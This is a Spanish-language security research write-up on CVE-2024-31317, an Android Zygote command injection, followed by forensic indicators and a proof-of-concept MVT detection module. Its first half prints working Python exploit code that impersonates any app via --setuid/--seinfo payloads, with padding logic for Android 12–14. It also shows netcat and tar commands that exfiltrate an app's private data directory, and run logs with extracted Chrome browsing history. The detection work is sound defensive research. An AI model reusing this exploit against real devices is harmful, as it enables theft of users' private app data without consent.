drwxrws--x 2 u0_a128 u0_a128_cache 4096 2025-04-15 19:24 code_cache
drwxrwx--x 2 u0_a128 u0_a128 4096 2025-04-17 17:42 databases
drwxrwx--x 4 u0_a128 u0_a128 4096 2025-04-15 19:28 files
lrwxrwxrwx 1 root root 27 2025-04-15 19:24 lib -> /product/app/Chrome/lib/x86
drwxrwx--x 2 u0_a128 u0_a128 4096 2025-04-15 19:43 no_backup
drwxrwx--x 2 u0_a128 u0_a128 4096 2025-04-17 17:42 shared_prefs
Nos tomó un par de intentos, pero salió. Nos volvimos Chrome.
Ahora que tenemos cierto control y sabemos que cambiando los parámetros --setuid
, --setgid
y --seinfo
podemos actuar como cualquier aplicación, vamos al objetivo final.
Extraer información
El reto de extraer información está en que los contextos de SELinux y el sandbox de las aplicaciones van a dificultar bastante esta tarea.
No basta con usar un comando para copiar archivos de un directorio a otro (donde adb tenga acceso) y luego sacarlos del teléfono. De una u otra forma, Android intenta impedir este tipo de movimientos. Incluso un usuario como system tiene muchas restricciones sobre dónde puede leer y escribir.
En este experimento intentamos distintos métodos: copiar, redireccionar, usar pipes, etc., para sacar archivos completos a un directorio accesible por adb, pero fue en vano. Probablemente NO es imposible, y queda como una pregunta abierta.
Sin embargo, el versátil netcat nos da una opción bastante práctica: si redireccionamos la salida de un archivo a netcat, y en el lado de la escucha redireccionamos esa salida a un archivo local, lo logramos. Hagamos la prueba.
Primero, necesitamos un archivo para exfiltrar. Por ejemplo, el historial de navegación de Chrome.
Usando un poco de gimnasia con el proceso/exploit que ya tenemos, encontramos que ese archivo se encuentra en:
/data/data/com.android.chrome/app_chrome/Default/History
Este archivo es una base de datos SQLite (binaria), un blanco perfecto para la prueba. Lo que haremos es modificar el comando que va en --invoke-with
para enviar el archivo por netcat:
nc -w 3 127.0.0.1 31337 < /data/data/com.android.chrome/app_chrome/Default/History ; #
Del lado de la escucha, el comando sería:
adb shell nc -l -p 31337 > History
Explotamos… y si todo sale bien, podremos abrir el archivo History
que quedó guardado en nuestra compu:
$ adb shell nc -l -p 31337 > History
$ sqlite3 ./History
SQLite version 3.49.1 2025-02-18 13:38:58
Enter ".help" for usage hints.
sqlite> .tables
downloads meta urls
downloads_slices segment_usage visit_source
downloads_url_chains segments visits
keyword_search_terms typed_url_sync_metadata
sqlite> select * from urls;
1|https://www.amazon.com/|Amazon.com|1|0|13389403328808160|0
2|https://m.youtube.com/|YouTube|2|0|13389403337227256|0
3|https://www.mercadolibre.com/|Mercado Libre - Envíos Gratis en el día|1|0|13389403339817557|0
4|https://mobile.twitter.com/|X|1|0|13389403346111866|0
5|https://twitter.com/|X|1|0|13389403346111866|0
6|https://x.com/|X|2|0|13389403346771913|0
¡Muy bien! Pero… ¿cómo sacamos el irectorio entero en un solo comando?
En internet hay muchas referencias sobre cómo transferir archivos con netcat, y varias usan el comando tar
para empaquetar un directorio completo y enviarlo.
El hechizo final que transfiere el directorio completo sería:
tar --create --file=- /data/data/com.android.chrome/ | nc -w 3 localhost 31337 ; #
Y del lado de la escucha, solo enviamos la salida a un archivo .tar
:
adb shell nc -l -p 31337 > chrome.tar
Luego de ejecutar la explotación, podemos comprobar que chrome.tar
contiene todos los archivos y subdirectorios de /data/data/com.android.chrome/
. ¡En el blanco!
Si automatizamos todo este proceso y arreglamos algunos detalles (como el hecho de que hay que abrir una aplicación manualmente después de cada explotación), tendremos una primera versión funcional del exploit para Android 11.
-[ 0x07 Primera versión del exploit (Android 11) ]-
Comunicación básica con adb
Para empezar a automatizar nuestro proceso, lo primero que necesitamos es poder interactuar programáticamente con adb
usando Python, que es el lenguaje que usaremos en este experimento.
Existen varias opciones de módulos que abstraen el proceso de trabajar con adb, sin embargo, decidimos simplemente usar el módulo subprocess
para interactuar con adb
. La función encargada de este proceso se vería así:
1
2
3
4
5
6
import subprocess
def send_adb_command(command):
p = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
(child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr)
return p.stdout.read().decode("utf-8")
Ya con esto podemos averiguar, por ejemplo, la versión de Android:
1
android_version = send_adb_command("adb shell getprop ro.build.version.release").strip("\n")
Sacando la información necesaria
Con la función send_adb_command
podemos averiguar el ID de usuario de una aplicación y si es privilegiada o no:
1
2
3
4
5
6
7
8
def get_app_uid(app):
uid = send_adb_command(f"adb shell dumpsys package {app} | grep userId=")
uid = uid.split("\n")
_, uid = uid[0].split("=")
return uid.strip('\n')
def is_system_app(app):
return True if send_adb_command(f"adb shell pm path {app}").find(':/system') > 0 else False
Con estos dos datos podemos construir una payload.
Payload
Vamos a crear una función que genere una variable llamada payload
y que incluya todos los valores que teníamos en nuestra payload original. Ahora, al pasar el nombre completo de una aplicación, obtendremos una payload ya lista con el ID de usuario, grupo y contexto de SELinux. Además, la función también recibe como argumento el comando de bash que deseamos ejecutar, lo que nos permitirá jugar más fácilmente con diferentes comandos.
Al final de la variable, incluimos unas líneas en blanco al principio y unas comas con una ‘X’ al final como padding; su propósito se aclarará en la siguiente sección. Por ahora, sabemos que funciona, así que las dejamos.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
def make_payload(app, command):
# get user id
uid = get_app_uid(app)
if uid is None:
print("[-] Error: can't find uid.")
return
# construct zygote command
payload = "8" + "\n"
payload += "--runtime-args" + "\n"
payload += f"--setuid={uid}" + "\n"
payload += f"--setgid={uid}" + "\n"
if is_system_app(app):
payload += "--seinfo=platform:privapp:targetSdkVersion=30:complete" + "\n"
else:
payload += "--seinfo=default:targetSdkVersion=30:complete" + "\n"
payload += "--runtime-flags=1" + "\n"
payload += "--nice-name=zYg0te" + "\n"
payload += "--invoke-with" + "\n"
payload += command + " ; #" + "\n"
# Padding in the top:
# we leave five new lines before the command's argument count (8)
# because when system server send the command to Zygote it places a 6
# arguments count over --set-api-blacklist-exemptions
top_padding = 5
payload = "\n" * top_padding + payload
# Padding in the bottom
# We leave 5 commas and a X to delay a bit the zygote read
# because those commas are splited before... or because the guy of meta
# says so.
payload += ",,,,X" + "\n"
return payload
Exploit
La función que ejecuta los pasos del exploit realiza lo mismo que antes hacíamos manualmente: escribe la payload en un archivo, la sube al emulador, modifica el valor de hidden_api_blacklist_exemptions
, luego lo restablece a “null” y, finalmente, abre la aplicación Settings para evitar tener que ir manualmente a la configuración para que el exploit funcione nuevamente. Notemos que al inicio de la función también se envía un comando para cerrar Settings, asegurando que al final se abra completamente.
Es importante destacar que, al asignar el valor de la payload a la variable hidden_api_blacklist_exemptions
, no usamos la función definida al principio para interactuar con adb
, porque este paso específico no funcionaba directamente con adb shell ...
desde la computadora. Solo funcionaba entrando a la shell interactiva y ejecutando el comando desde ahí, lo que disparaba la vulnerabilidad.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
def exploit(payload):
# Generate and upload payload
with open("payload.txt", 'w') as f:
f.write(payload)
send_adb_command("adb push payload.txt /data/local/tmp")
# close settings app if open
send_adb_command("adb shell am force-stop com.android.settings")
# Starting an interactive shell, is how it works.
p = subprocess.Popen("adb shell",shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE, stdin=subprocess.PIPE)
(child_stdin, child_stdout, child_stderr) = (p.stdin, p.stdout, p.stderr)
# Setting hidden_api_blacklist_exemptions with the payload
p.stdin.write(str.encode("settings put global hidden_api_blacklist_exemptions \"$(cat /data/local/tmp/payload.txt)\""))
# close process pipes
p.stdin.close()
p.wait()
# post exploitation stuff so the phone "backs to normal.
send_adb_command("adb shell settings put global hidden_api_blacklist_exemptions null")
send_adb_command("adb shell am start -a android.settings.SETTINGS")
# Delete payload from phone.
send_adb_command("adb shell rm /data/local/tmp/payload.txt")
Extracción
Recordemos que la extracción del directorio tiene dos partes: la primera consiste en poner a netcat a escuchar en un puerto y redireccionar lo que llegue a un archivo. La segunda es disparar la vulnerabilidad con la payload que contiene el comando para empaquetar todo el directorio de la aplicación y enviarlo a través de netcat.
Como la parte de la escucha requiere esperar a que la conexión se establezca, necesitamos tener control sobre ese proceso y no cerrarlo antes de que cumpla su función. Además, retrasaremos la conexión del comando netcat en la payload para que espere tres segundos antes de abrirla, dándole tiempo al proceso de escucha para estar listo.
Nuestra solución queda así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
def extract_app_dir(app):
dir_to_extract = f"/data/data/{app}/"
print(f"-> Extract {dir_to_extract} to {app}.tar")
# tar the contents of the directory and pipe to netcat connection,
# wait 3 seconds before connecting giving time for the server to come up
command = f"tar --create --file=- {dir_to_extract} | nc -w 3 localhost 31337"
payload = make_payload(app, command)
# launch listen subrprocess with the server
p = subprocess.Popen(f"adb shell nc -l -p 31337 > {app}.tar",shell=True)
# exploit!
exploit(payload)
# wait for the listen process to end
p.wait()
print(f"-> Done extracting. Check {app}.tar")
Lanzar el exploit
Necesitamos, por último, implementar la parte en la que un usuario le indica al exploit qué aplicación quiere extraer.
1
2
3
4
5
6
7
8
9
10
import sys
if __name__ == "__main__":
if len(sys.argv) < 2:
print(f"usage: python {sys.argv[0]} [app to extract]")
sys.exit(0)
app = sys.argv[1]
print("-> Trying to exploit CVE-2024-31317 (Zygote command injection).")
extract_app_dir(app)
Poniendo todo junto
Si unimos todos los pedazos de código que encontramos en esta sección obtendremos un exploit funcional que extrae el directorio de la aplicación que le indiquemos. La salida para com.android.chrome
se vería así y podremos comprobar que el archivo .tar
resultante contiene todos los archivos del directorio /data/data/com.android.chrome
:
$ python poc_1_wu.py com.android.chrome
-> Trying to exploit CVE-2024-31317 (Zygote command injection).
-> Extract /data/data/com.android.chrome/ to com.android.chrome.tar
-> Done extracting. Check com.android.chrome.tar
$ tar tf com.android.chrome.tar
data/data/com.android.chrome/
data/data/com.android.chrome/cache/
data/data/com.android.chrome/cache/Crashpad/
data/data/com.android.chrome/cache/Crashpad/new/
.... muchos archivos
.... muchos archivos
.... muchos archivos
.... muchos mas archivos
$
LOL, ¡PWND!
Pero… hasta aquí nuestro exploit solo funciona en Android 11. Veamos qué tenemos que hacer para que funcione en Android 12, 13 y 14.
-[ 0x08 Android > 11 ]-
Desde Android 12, Zygote interpreta los comandos de otro modo. Además de cambios en la forma de procesarlos, introduce la clase NativeCommandBuffer
, encargada de manejar los datos crudos. NativeCommandBuffer
lee lo que envía system server, pero no pasa el bloque completo a la función que procesa el comando: corta el buffer justo donde termina. Es decir, si un comando declara 8 argumentos, leerá el número 8 y luego ocho líneas más; eso es lo que entrega para su ejecución y descarta el resto. Después vuelve a leer del socket y repite el ciclo.
En este escenario nuestro exploit falla: la clase solo leería el comando que modifica hidden_api_blacklist_exemptions
y descartaría el comando inyectado. Necesitamos, entonces, un mecanismo que escriba primero el cambio de hidden_api_blacklist_exemptions
y que, en una segunda lectura, entregue el comando inyectado. Para ello conviene tener presentes algunos números:
NativeCommandBuffer
intenta leer 12 200 bytes de un solo sorbo en Android 12. En Android 13 y 14 el tamaño del buffer sube a 32 768 bytes.- En system server hay un buffer de escritura de 8192 bytes que, cada vez que se llena, se empuja al socket.
Si logramos ubicar el comando inyectado a partir del byte 8193 tenemos la oportunidad de que un segundo write
de system server provoque una segunda lectura por parte de Zygote. Sin embargo, como Zygote lee más bytes de los que system server escribe, el kernel podría unir ambos writes antes del primer read
, y estaríamos de nuevo en el punto de partida: el comando inyectado sería descartado.
Hace falta tiempo, y hay una forma de ganarlo. Tom Hebb explica que, si añadimos un número considerable de comas al final del comando, estas se interpretan como “entradas” y system server las convierte en saltos de línea (\n
) mediante split()
. Ese paso extra retrasa ligeramente el segundo write, lo que aumenta la probabilidad de que el comando inyectado llegue en una segunda lectura de Zygote.
Este truco altera el número de argumentos que system server pone al comando inicial. Podemos compensarlo insertando saltos de línea (\n
) antes del comando inyectado para que coincida con la cantidad de comas añadidas al final. Por último, String.split()
descarta cualquier cadena vacía al final, de ahí la “X” que cerrará la lista.
Con todo esto debemos vigilar dos restricciones más:
- No escribir más bytes de los que Zygote lee de una sola vez (o el proceso dejará de funcionar).
- No exceder el número máximo de argumentos que acepta Zygote (en la práctica no fue un problema).
Tras la explotación, el teléfono queda inutilizable; borrar hidden_api_blacklist_exemptions
tampoco resuelve nada. Cuando system server envía un comando, Zygote debería responder con el PID de la app. Si system server no lo recibe, cancela la apertura. En la explotación quedan bytes sueltos en el socket que impiden completar ese intercambio. La solución de Hebb consiste en exceder el conteo de argumentos del comando inyectado: forzamos a Zygote a un tercer read
que consume la apertura posterior y devuelve el PID esperado. Esa es la clave de la persistencia.
Tom Hebb pensó en todo. Su artículo —y la explicación gráfica de Flanker017— merece una lectura atenta.
Del papel al ensayo-y-error
En la práctica costó varios días ajustar los valores hasta lograr un exploit estable. Primero calculamos el máximo de comas que podíamos añadir (cuantas más, mejor). A partir de ahí:
- Determinamos cuántos saltos de línea debíamos insertar al principio, considerando también los que agrega system server.
- Calculamos el nuevo conteo de argumentos del comando inyectado y le sumamos un “extra” para forzar el tercer
read
.
Con esos números, la payload para Android 12 + queda así:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# system server BufferWriter size
bw_buffer_size = 8192
# zygote read buffer size
zygote_buffer_size = 12200
# len("9999\n--set-api-denylist-exemptions\n")
sade_len = 36
# bottom padding (comas + X)
bottom_padding = "," * (zygote_buffer_size - bw_buffer_size - len(payload) - 3) + "X"
print(f"-> Bottom padding len = {len(bottom_padding)}")
# top padding (saltos + 'A's)
top_padding = "\n" * len(bottom_padding) + "A" * (bw_buffer_size - sade_len - len(bottom_padding) + 1)
print(f"-> Top padding len = {len(top_padding) + sade_len}")
# ajustar el conteo de argumentos
payload = str(len(bottom_padding) + 10) + payload[4:]
# payload final
payload = top_padding + payload + bottom_padding
Aunque el tamaño del buffer de Zygote varía en Android 13 y 14, los valores de Android 12 también funcionan allí.
No publicaremos el exploit completo; quien desee el código puede escribirnos explicando sus motivaciones.
Ejecución de la prueba de concepto
$ ./poc1.py
usage: python ./poc1.py [mode: exec | extract] [app to impersonate]
Modes:
exec executes a bash command
extract extracts entire directory of the app
App to impersonate:
The full name of the app as in com.example.app
$ ./poc1.py extract com.android.chrome
-> Trying to exploit CVE-2024-31317 (Zygote command injection).
-> android version: 14
-> android SDK version: 34
-> android serial number: EMULATOR35X4X9X0
-> Extract /data/user/0/com.android.chrome/ to com.android.chrome.tar
-> Making payload for com.android.chrome on Android 14
-> command: tar --create --file=- /data/user/0/com.android.chrome/ | nc -w 3 localhost 31337
-> Got user ID: 10150
-> Bottom padding len = 3757
-> Top padding len = 8193
-> Copy payload to /data/local/tmp/payload.txt
-> Close settings app if open
-> Start adb shell
-> Set hidden_api_blacklist_exemptions global setting with the payload
-> Start Settings App to _move_ zygote
Starting: Intent { act=android.settings.SETTINGS }
-> Set hidden_api_blacklist_exemptions to null to avoid problems when rebooting the phone
-> Delete payload from phone.
-> Done extracting. Check com.android.chrome.tar
$ ls -al
total 6964
drwxr-xr-x 3 xxx xxx 4096 abr 22 16:04 .
drwxr-xr-x 5 xxx xxx 4096 abr 19 13:25 ..
-rw-r--r-- 1 xxx xxx 6923776 abr 22 16:04 com.android.chrome.tar
…
Hemos logrado una explotación universal, y eso nos hace muy felices :-).
Solo resta probar en hardware real… mientras alguien trae la champaña para celebrarlo.
-[ 0x09 El androide paranoide ]-
A la mano tenemos un Samsung Galaxy A50 con Android 11 y nivel de parcheo del 1 de enero de 2022 (restaurado de fábrica). Conectamos el dispositivo y probamos el exploit para tratar de extraer la carpeta de Chrome, pero… no funciona.
Lo primero que notamos es que el exploit “no termina”, lo que probablemente significa que el proceso de escucha tampoco finaliza; todo apunta a un problema con la conexión de netcat.
Volvamos a lo básico: usar logwrapper
para comprobar el fallo. Verificamos que el comando id
se ejecuta con el usuario de Chrome (UID = 10236):
130|a50:/ $ logcat | grep zYg0te
04-25 12:05:46.136 29364 29364 I echo : zYg0te uid=10236(u0_a236) gid=10236(u0_a236) groups=10236(u0_a236),1065(reserved_disk),3009(readproc) context=u:r:untrusted_app:s0:c236,c256,c512,c768
Ahora revisemos si netcat arroja algún error. Usamos nuevamente logwrapper
, redirigiendo stderr
a stdout
para que el mensaje quede registrado en logcat
. No levantamos otra instancia de netcat; solo buscamos el error:
/system/bin/logwrapper echo zYg0te $(nc 127.0.0.1 31337 2>&1) ; #
En logcat
aparece:
04-25 12:09:28.165 30529 30529 I echo : zYg0te nc: socket 1 6: Permission denied
¿Permiso denegado? Chrome, por defecto, posee los permisos de red necesarios y en el emulador nunca tuvimos este problema con ninguna aplicación.
Android gestiona permisos a varios niveles; el permiso para conexiones de red (android.permission.INTERNET
) se habilita asignando al proceso el grupo 3003 (inet) al nivel del kernel. El mismo mecanismo se usa, por ejemplo, para permisos de lectura o escritura en la sdcard.
En la captura con strace
de la apertura de Chrome vemos que esto ocurre en los argumentos que system server envía a Zygote:
19
--runtime-args
--setuid=10128
--setgid=10128
…
--setgroups=3002,3003,3001,50128,20128,9997
…
--setgroups=…
asigna varios grupos al proceso, entre ellos el 3003 que habilita las funciones de red. Esto abre la posibilidad de añadir ese argumento a nuestra payload. Sin embargo, hay dos detalles:
- Añadir un argumento cambia el conteo de argumentos, y debemos ajustar la payload para no superar los límites establecidos anteriormente (tanto en Android 11 como en Android 12+).
- El argumento está separado por comas; system server les da un tratamiento especial que también afecta la payload.
Para evitar complicaciones, optamos por incluir solo el grupo 3003, suficiente para que funcione netcat.
Tras actualizar la payload y probar de nuevo con logwrapper
, el mensaje cambia a uno mucho más alentador:
04-25 13:01:19.038 32481 32481 I echo : zYg0te nc: connect: Connection refused
En otras palabras, el exploit recuperó la capacidad de establecer conexiones de red (el rechazo se debe a que no había una contraparte escuchando). Con ello, el exploit vuelve a funcionar en el teléfono. ¡Ahora sí, la champaña!
¿Por qué esto no era necesario en el emulador?
La respuesta se esconde entre La guía del autoestopista galáctico y una canción de Radiohead.
Fuera de bromas: Android suele compilarse con el parche ANDROID_PARANOID_NETWORK
, que implementa el sistema de grupos para permisos de red a nivel de kernel. Al parecer, las imágenes de los emuladores no incluyen ese parche. Podemos comprobarlo revisando /proc/config.gz
. En el Samsung vemos:
a50:/proc $ zcat config.gz | grep ANDROID_PARANOID
CONFIG_ANDROID_PARANOID_NETWORK=y
a50:/proc $
En el emulador, en cambio, no aparece. Misterio resuelto.
-[ 0x0a Siguiendo el rastro del exploit ]-
A diferencia del trabajo forense típico en malware -donde normalmente se analizan aplicaciones sospechosas— aquí no tenemos una APK que abrir. Apenas contamos con los cambios y registros que puedan quedar en el sistema. Por ello preferimos concentrarnos en los indicadores que puedan aparecer en dumpsys
, porque suelen ser menos volátiles que los mensajes de logcat
. No descartamos otros artefactos forenses, como los listados de variables y propiedades que genera Androidqf, pero muchos de ellos también pueden obtenerse con dumpsys
, tal y como hace MVT en su módulo de análisis de bugreports.
El análisis de bugreports resulta fundamental: se pueden generar directamente desde el teléfono sin esperar una extracción completa con Androidqf. Dado que los registros de Android se purgan con rapidez, capturar el informe lo antes posible después de un incidente puede marcar la diferencia entre hallar un rastro útil… o ninguno.
¿Qué son dumpsys
y bugreport
-
dumpsys
es la navaja suiza de diagnóstico en Android: interroga decenas de servicios del sistema (batería, red, ActivityManager, almacenamiento, etc.) y devuelve su estado. Unadb shell dumpsys
produce una salida inmensa;-l
muestra la lista de servicios disponibles y, si se desea, puede consultarse uno concreto: p. ej.adb shell dumpsys package com.android.chrome
. Nuestro exploit usa justamente esa consulta para extraer el UID de la app objetivo. -
bugreport
empaquetadumpsys
,logcat
,dumpstate
y varios archivos adicionales en un ZIP. Puede generarse conadb bugreport
o desde el menú de desarrollador. Para un laboratorio forense, pedir un bugreport inmediatamente tras recuperar un dispositivo es una práctica que puede salvar investigaciones.
Preparación
- Restaura el emulador (o teléfono) a su estado limpio con Wipe data en Android Studio.
- Genera un bugreport “en limpio” mediante
adb bugreport
. - Ejecuta el exploit (por ejemplo, una extracción de datos).
- Crea un segundo bugreport; será tu referencia “después”.
Con ambos ZIP listos, ya podemos empezar la caza.
Buscar cosas
Sabemos qué buscamos, así que partimos de una lista de palabras clave relacionadas con la vulnerabilidad y con los componentes del sistema que intervienen (variable, servicios, usuario 2000, Zygote, system_server, etc.):
settings
hidden_api_blacklist_exemptions
hidden_api
blacklist
exemptions
chrome
zygote
system_server
adb
sh
shell
bash
invoke-with
uid=2000
nc
grep
all the things !!!
Descomprime el bugreport posterior a la explotación y, dentro de su directorio, lanza:
grep -rai hidden_api_blacklist_exemptions *
-r
busca de forma recursiva.-a
obliga a tratar los datos binarios como texto.-i
ignora mayúsculas y minúsculas.
Para un archivo concreto basta con reemplazar *
por su nombre, p. ej.:
grep -ai hidden_api_blacklist_exemptions \
bugreport-sdk_gphone64_x86_64-UE1A.230829.050-2025-05-05-17-46-34.txt
Usando grep
con las demás palabras clave iremos hallando los distintos rastros que deja el exploit en el sistema.
-[ 0x0b Analizar los resultados para encontrar IOCs ]-
Para este experimento hicimos varias extracciones —en distintas versiones de Android, algunas inmediatamente después de explotar la vulnerabilidad y otras en sistemas intactos—. Las salidas no fueron consistentes: ciertos datos aparecían en una captura, desaparecían en la siguiente o se perdían tras unas horas o días. La información realmente consistente fue escasa, de modo que, para detectar la explotación con garantías, el bugreport debe generarse poco tiempo después del incidente.
Veamos qué sucede cuando filtramos únicamente por exemptions
el archivo principal de un bugreport cualquiera:
$ grep -ai "exemptions" \
bugreport-sdk_gphone_x86-RSR1.240422.006-2025-05-11-14-13-33.txt
05-06 15:26:05.969 1000 520 569 E ZygoteProcess: Can't set API blacklist exemptions: no zygote connection
05-06 15:26:05.969 1000 520 569 E ActivityManager: Failed to set API blacklist exemptions!
05-06 15:26:06.005 1000 520 569 E ZygoteProcess: Failed to set API blacklist exemptions; status 5636
05-06 15:26:06.005 1000 520 569 E ZygoteProcess: Can't set API blacklist exemptions: no zygote connection
05-06 15:26:06.005 1000 520 569 E ActivityManager: Failed to set API blacklist exemptions!
settings/global/hidden_api_blacklist_exemptions: pid=520 uid=1000 user=0 target=e95848b
_id:226 name:hidden_api_blacklist_exemptions pkg:com.android.shell value:{null}
1970-01-01 00:01:02 update hidden_api_blacklist_exemptions
1970-01-01 00:01:02 update hidden_api_blacklist_exemptions
$
Observemos que las líneas se agrupan en dos bloques:
- Las cinco primeras provienen de
logcat
. Son errores continuos al aplicarhidden_api_blacklist_exemptions
. Funcionan como indicador, pero son volátiles: los logs se purgan rápido. - Las cuatro siguientes pertenecen a
dumpsys settings
y, por tanto, suelen persistir mientras la variable exista.
En especial:
_id:226 name:hidden_api_blacklist_exemptions pkg:com.android.shell value:{null}
demuestra que com.android.shell
fue la última aplicación en modificar la variable, dejándola en null
, exactamente lo que hace nuestro exploit. Si después se ejecuta settings delete global hidden_api_blacklist_exemptions
, la entrada desaparece o cambia a delete
: sigue siendo rastreable, pero solo detecta nuestro flujo de ataque.
Las dos líneas que comienzan con 1970-01-01 00:01:02 update …
parecen un historial de cambios. Suenan perfectas, pero cuidado: ese historial solo existe cuando el sistema operativo se compila con la bandera debug (es decir, en emuladores o builds de desarrollo). En teléfonos de producción es muy dificil que aparezca, así que lo descartamos como IOC general.
Escarbando en dumpsys activity starter
Otra pista sólida vive en la sección Activity › starter:
android.settings processName=com.android.settings
launchedFromUid=2000 launchedFromPackage=com.android.shell …
El par launchedFromUid=2000 / launchedFromPackage=com.android.shell
delata que la shell (usuario 2000) lanzó Settings, el empujón que nuestro exploit da para que Zygote vuelva a sincronizarse y el teléfono quede “normal”. Encontramos esta firma con bastante consistencia en Android 11-14, tanto en emuladores como en dispositivos físicos.
La sección completa puede extraerse con:
adb shell dumpsys activity starter
Tenemos indicadores débiles, pero indicadores al fin
- Errores en
logcat
sobre “API blacklist exemptions” (válidos si el bugreport se generó rápido). - La variable
hidden_api_blacklist_exemptions
modificada porcom.android.shell
endumpsys settings
(persiste mientras la variable exista). launchedFromUid=2000 launchedFromPackage=com.android.shell
endumpsys activity starter
, evidencia de que la shell lanzó una actividad inmediatamente después de la inyección.
No es un conjunto perfecto, pero, combinados, ofrecen una señal clara de que alguien jugó con CVE-2024-31317.
-[ 0x0c MVT y nuestros indicadores }-
Nos preguntamos si podíamos hacer algo con MVT para intentar detectar alguno de nuestros indicadores. Sin embargo, MVT no tiene módulos que procesen logcat
; la revisión de settings se hace en los análisis de Androidqf y estos no incluyen el paquete que cambió el valor de la variable. Tampoco existe un módulo que analice la salida del servicio Activities en dumpsys
para detectar la actividad de com.android.shell
en esa sección.
Revisando el código fuente, vimos que la opción más sencilla para integrar nuestros indicadores estaba en el servicio Settings de dumpsys
: allí encontramos el nombre de la variable, su valor actual y, crucialmente, el paquete que la modificó por última vez. Ese campo pkg
no aparece en la extracción de Androidqf, pero sí dentro del ZIP del bugreport.
Cómo organiza MVT sus análisis
mvt-android
tiene cuatro módulos: adb, androidqf, backup y bugreport, que se activan según el tipo de extracción. Cada uno carga submódulos que procesan artefactos concretos (packages, permisos, settings, etc.) y comparan los datos con IOCs duros o con listas internas de “cosas sospechosas”. Por ejemplo, en Androidqf hay un submódulo que lee packages.json
—generado con pm
—y lo contrasta con nombres de malware o herramientas de root.
Limitaciones del artefacto Settings en Androidqf
El artefacto genérico de Settings funciona así:
- Androidqf lee
system_settings.txt
,secure_settings.txt
yglobal_settings.txt
. - Extrae cada variable y su valor.
- Un diccionario interno de MVT define “valores seguros” para algunas de ellas.
- Si el valor extraído difiere del seguro, MVT lanza una alerta.
Esto sirve para variables como verifier_verify_adb_installs
, pero falla con hidden_api_blacklist_exemptions
:
- No hay un “valor seguro” universal.
- El verdadero indicador es quién la modificó (
com.android.shell
), dato que Androidqf no registra.
Plan: procesar Settings dentro de bugreport
Si queremos detectar que hidden_api_blacklist_exemptions
fue tocada por com.android.shell
, necesitamos un submódulo para el módulo bugreport que:
- Extraiga el bloque DUMP OF SERVICE settings de
dumpsys
. - Convierta cada línea
_id:… name:… pkg:… value:…
en un diccionario. - Almacene el resultado por namespace (config, global, secure, system).
- Pase esos datos a un artefacto que verifique si alguna variable fue modificada por
com.android.shell
.
El artefacto produce entonces una salida como:
WARNING [mvt] Found suspicious "global" setting "hidden_api_blacklist_exemptions = {null}" (was modified by com.android.shell)
Resultado de la PoC
Al ejecutar nuestro módulo sobre un bugreport tomado justo después de la explotación, MVT identifica el cambio y muestra la alerta anterior junto con otras variables alteradas por la shell. ¡Objetivo cumplido!
El código completo de la prueba de concepto, con instrucciones para reproducirla localmente, está disponible en el repositorio:
https://github.com/ZoqueLabs/mvt-bugreport-dumpsys-settings-poc
En el próximo capítulo explicaremos, paso a paso, cómo construir esta PoC de módulo de MVT.
-[ 0x0d Haciendo un módulo para MVT ]-
Para esta prueba de concepto usaremos MVT como un módulo de Python; por ahora no haremos un fork. Si la solución demuestra ser sólida y útil, más adelante podremos proponerla al repositorio oficial mediante un pull-request.
En esta sección no detallaremos cada línea de código —sería larguísimo—, pero sí explicamos con claridad el proceso de desarrollo y algunas tecnicidades para quienes quieran comprender el funcionamiento interno de MVT (¡y, por qué no, contribuir!). El código completo está en https://github.com/ZoqueLabs/mvt-bugreport-dumpsys-settings-poc.
A grandes rasgos, nuestro módulo sigue este flujo:
- Cargar un bugreport en MVT.
- Extraer el
dumpsys
de ese bugreport. - Tomar la sección Settings del
dumpsys
. - Convertir los datos crudos de esa sección en un diccionario.
- Analizar el diccionario para encontrar indicadores de compromiso.
Convertir los datos crudos a un diccionario
Si abrimos un bugreport y buscamos “DUMP OF SERVICE settings:” —o ejecutamos adb shell dumpsys settings
— veremos algo similar:
DUMP OF SERVICE settings:
Unknown argument: -a; use -h for help
CONFIG SETTINGS (user 0)
_id:663 name:adservices/enable_tablet_region_fix pkg:com.google.android.gms value:false
_id:699 name:adservices/topics_disable_direct_app_calls pkg:com.google.android.gms value:true
…
GLOBAL SETTINGS (user 0)
_id:119 name:adb_wifi_enabled pkg:android value:0 default:0 defaultSystemSet:true
…
Cada bloque (CONFIG, GLOBAL, SYSTEM, SECURE) queda separado por una doble línea en blanco. Las líneas individuales siguen el patrón _id:… name:… pkg:… value:…
. Algunos valores son JSON extensos, así que no basta con dividir por espacios y dos puntos; el parser debe ser cuidadoso.
Artefacto DumpsysSettingsArtifact
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from mvt.android.artifacts.artifact import AndroidArtifact
from mvt.android.artifacts.settings import ANDROID_DANGEROUS_SETTINGS
ANDROID_DANGEROUS_APPS = ['com.android.shell']
class DumpsysSettingsArtifact(AndroidArtifact):
def check_indicators(self) -> None:
for namespace, settings in self.results.items():
for key, values in settings.items():
for danger in ANDROID_DANGEROUS_SETTINGS:
if (danger["key"] == key and
danger["safe_value"] != values["value"]):
self.log.warning(
'Found suspicious "%s" setting "%s = %s" (%s)',
namespace, key, values["value"], danger["description"],
)
break
if values['pkg'] in ANDROID_DANGEROUS_APPS:
self.log.warning(
'Found suspicious "%s" setting "%s = %s" '
'(was modified by %s)',
namespace, key, values['value'], values['pkg'],
)
def parse(self, content: str) -> None:
# Aquí va todo el procesamiento de los datos crudos
check_indicators()
aprovecha la lista ANDROID_DANGEROUS_SETTINGS
que ya trae MVT y añade una comprobación extra: alerta si el campo pkg
de cualquier variable coincide con com.android.shell
.
Sub-módulo Settings
para bugreport
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import logging
from dumpsys_settings_artifact import DumpsysSettingsArtifact
from mvt.android.modules.bugreport.base import BugReportModule
class Settings(DumpsysSettingsArtifact, BugReportModule):
"""Extracts and checks settings from bugreport."""
def run(self) -> None:
full_dumpsys = self._get_dumpstate_file()
if not full_dumpsys:
self.log.error("No se encontró dumpstate")
return
